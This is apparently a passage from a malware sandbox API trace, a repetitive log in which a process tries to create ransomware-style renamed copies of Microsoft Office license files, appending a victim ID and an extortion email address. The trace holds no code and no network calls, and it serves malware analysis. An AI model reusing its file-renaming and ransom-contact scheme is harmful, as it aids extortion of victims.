(hObject=0x1258) returned 1 [0250.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0250.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0250.773] lstrlenW (lpString=".doc") returned 4 [0250.774] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.774] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0250.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.774] CloseHandle (hObject=0x1258) returned 1 [0251.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0251.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-oob.xrm-ms") returned 75 [0251.083] lstrlenW (lpString=".doc") returned 4 [0251.084] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.084] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.084] CloseHandle (hObject=0x11d0) returned 1 [0251.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0251.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0251.084] lstrlenW (lpString=".doc") returned 4 [0251.085] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.085] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.085] CloseHandle (hObject=0x11d0) returned 1 [0251.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0251.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0251.085] lstrlenW (lpString=".doc") returned 4 [0251.086] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.086] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.086] CloseHandle (hObject=0x11d0) returned 1 [0251.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0251.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0251.086] lstrlenW (lpString=".doc") returned 4 [0251.087] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.087] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.087] CloseHandle (hObject=0x11d0) returned 1 [0251.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0251.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0251.088] lstrlenW (lpString=".doc") returned 4 [0251.088] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.088] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.088] CloseHandle (hObject=0x11d0) returned 1 [0251.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0251.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0251.089] lstrlenW (lpString=".doc") returned 4 [0251.089] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.090] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.090] CloseHandle (hObject=0x11d0) returned 1 [0251.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0251.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0251.090] lstrlenW (lpString=".doc") returned 4 [0251.091] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.091] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.091] CloseHandle (hObject=0x11d0) returned 1 [0251.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0251.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0251.091] lstrlenW (lpString=".doc") returned 4 [0251.092] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.092] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.093] CloseHandle (hObject=0x11d0) returned 1 [0251.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0251.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0251.093] lstrlenW (lpString=".doc") returned 4 [0251.093] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.093] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.094] CloseHandle (hObject=0x11d0) returned 1 [0251.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0251.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0251.094] lstrlenW (lpString=".doc") returned 4 [0251.095] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.095] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.095] CloseHandle (hObject=0x11d0) returned 1 [0251.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0251.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0251.095] lstrlenW (lpString=".doc") returned 4 [0251.096] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.096] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.096] CloseHandle (hObject=0x11d0) returned 1 [0251.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0251.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-pl.xrm-ms") returned 78 [0251.096] lstrlenW (lpString=".doc") returned 4 [0251.097] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.097] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.097] CloseHandle (hObject=0x11d0) returned 1 [0251.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0251.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ppd.xrm-ms") returned 79 [0251.097] lstrlenW (lpString=".doc") returned 4 [0251.098] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.098] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.098] CloseHandle (hObject=0x11d0) returned 1 [0251.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0251.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0251.098] lstrlenW (lpString=".doc") returned 4 [0251.099] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.099] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.099] CloseHandle (hObject=0x11d0) returned 1 [0251.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0251.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79 [0251.099] lstrlenW (lpString=".doc") returned 4 [0251.100] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.100] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.100] CloseHandle (hObject=0x11d0) returned 1 [0251.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0251.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0251.100] lstrlenW (lpString=".doc") returned 4 [0251.101] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.101] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.101] CloseHandle (hObject=0x11d0) returned 1 [0251.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0251.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ul-oob.xrm-ms") returned 83 [0251.101] lstrlenW (lpString=".doc") returned 4 [0251.102] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.102] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.102] CloseHandle (hObject=0x11d0) returned 1 [0251.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0251.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-pl.xrm-ms") returned 81 [0251.102] lstrlenW (lpString=".doc") returned 4 [0251.103] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.103] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.103] CloseHandle (hObject=0x11d0) returned 1 [0251.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0251.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ppd.xrm-ms") returned 82 [0251.103] lstrlenW (lpString=".doc") returned 4 [0251.104] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.104] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.105] CloseHandle (hObject=0x11d0) returned 1 [0251.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0251.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0251.105] lstrlenW (lpString=".doc") returned 4 [0251.106] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.106] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.106] CloseHandle (hObject=0x11d0) returned 1 [0251.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0251.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0251.106] lstrlenW (lpString=".doc") returned 4 [0251.107] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.107] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.107] CloseHandle (hObject=0x11d0) returned 1 [0251.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0251.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0251.108] lstrlenW (lpString=".doc") returned 4 [0251.108] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.108] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0251.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 